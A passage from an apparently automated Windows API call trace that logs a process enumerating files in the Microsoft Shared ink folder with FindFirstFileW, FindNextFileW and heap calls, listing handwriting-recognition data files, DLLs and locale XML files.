nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.381] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.381] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.381] GetProcessHeap () returned 0x470000 [0079.381] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.381] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0079.381] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0079.381] GetProcessHeap () returned 0x470000 [0079.381] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.392] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.392] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.392] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.393] GetProcessHeap () returned 0x470000 [0079.393] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.393] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0079.393] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0079.393] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0079.393] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0079.393] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0079.394] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0079.394] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0079.394] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0079.394] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0079.394] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0079.395] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0079.395] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0079.395] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0079.395] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0079.395] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0079.396] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0079.396] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0079.396] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0079.396] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0079.397] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0079.398] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0079.399] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0079.400] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0079.400] GetProcessHeap () returned 0x470000 [0079.400] RtlAllocateHeap 